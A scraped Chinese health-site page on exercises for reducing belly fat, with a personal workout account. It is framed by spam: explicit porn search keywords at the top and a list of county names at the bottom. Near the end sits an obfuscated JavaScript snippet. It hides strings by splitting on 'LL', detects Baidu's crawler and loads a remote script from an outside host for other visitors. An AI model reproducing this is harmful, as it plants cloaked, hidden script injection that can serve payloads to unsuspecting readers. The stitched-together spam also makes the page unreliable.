亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當前位置:首頁 > 減肥 > 運動減肥 > 正文

怎樣鍛煉減少腹部脂肪呢

2017-04-22 10:07:35  來源:360常識網(wǎng)   熱度:
導語:我們都知道經(jīng)常進行體育鍛煉能夠讓身體變得更加的健康,但是鍛煉的方法和方式是多種多樣的,有一些鍛煉還能夠很好的幫助我們減肥,尤其是對

我們都知道經(jīng)常進行體育鍛煉能夠讓身體變得更加的健康,但是鍛煉的方法和方式是多種多樣的,有一些鍛煉還能夠很好的幫助我們減肥,尤其是對于很多經(jīng)常久坐容易在肚子上形成脂肪的人來說更是有一定的效果,但是我們一定要掌握好方法,下面一起了解一下怎樣鍛煉減少腹部脂肪呢

怎樣鍛煉減少腹部脂肪呢

家庭練習

直立轉(zhuǎn)體:直立,雙腳打開略寬于肩部。雙手將晾衣竿橫放在肩后,左右扭動上肢。做的過程中注意保持髖部不動,集中使用腰部的力量。分別向左及向右轉(zhuǎn)動一次,每天至少做20次。

坐式轉(zhuǎn)體:彎曲雙膝坐在地上,手指交疊反握,手掌朝外,手臂水平伸直。上半身及兩手臂向左邊輕輕扭轉(zhuǎn),膝蓋則朝右邊傾倒,維持2—3秒,然后反方向重復做5次。

體驗:酸疼后的緊實讓人充滿成就感

體下屈做到4個8拍的時候,小腹的脂肪發(fā)出酸疼的信號,而大腿的肌肉也有緊繃感。等做到8個8拍,雙腿已搖搖欲墜。兩腿放下的那一刻,像是回到了平地上。

仰臥起坐是最折磨人的。每次努力地抬起上肢,上腹及腰部都感覺收緊了,很酸,而當上肢回到墊上,那一圈的肉才又放松。于是,就在不斷收緊和放松的交替中,腹部有一陣陣劇痛襲來。漸漸開始喘不過氣,而臉也漲得通紅,恨不得有根繩子可以把自己吊起來,不用再費力往上抬。

原來以為肘撐是個靜止訓練,應該很簡單??墒菗卧谀抢?,屁股不是翹得老高就是塌在下面,教練全都判了不合格。好不容易標標準準撐了10秒,全身都開始發(fā)暈,胳膊也有些顫顫巍巍。

一套做下來,腹部那團肉疼到第二天,幾乎不敢笑(一笑便會牽動發(fā)酸的肚腩)??墒敲先?,那些原先松松的肉肉好像緊了些。不知道是不是心理作用。但相信,堅持,只要堅持,一定可以把贅肉消滅掉。

腹 部是全身最容易堆積脂肪的部位。這里的脂肪因距離心臟較近,又最容易被動員出來進入血液循環(huán)造成危害,是名副其實的“心腹”之患。因此,當腹圍在90—100厘米以上或腹圍與臂圍的比值男大于0.9,女大于0.85時,腹部的脂肪就非不可了。

減肥的方式雖然有很多種,但是我們最好選擇鍛煉的方式,這樣不會對身體造成傷害,還能夠很好的提高免疫力,上面就是對怎樣鍛煉減少腹部脂肪呢的介紹,希望很多朋友能夠按照上面的方法進行嘗試減掉腹部脂肪,但是一定要長期堅持才會有效果。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
镇赉县| 福鼎市| 大荔县| 漳浦县| 县级市| 县级市| 昂仁县| 顺义区| 通渭县| 平远县| 襄樊市| 吉安县| 那曲县| 白河县| 紫金县| 交城县| 北流市| 淳安县| 板桥市| 瑞昌市| 朝阳县| 南投县| 辽源市| 张家川| 雷山县| 出国| 宜宾县| 体育| 比如县| 凤阳县| 衡水市| 江阴市| 乐至县| 齐河县| 福海县| 百色市| 噶尔县| 仪征市| 高安市| 四平市| 宁晋县|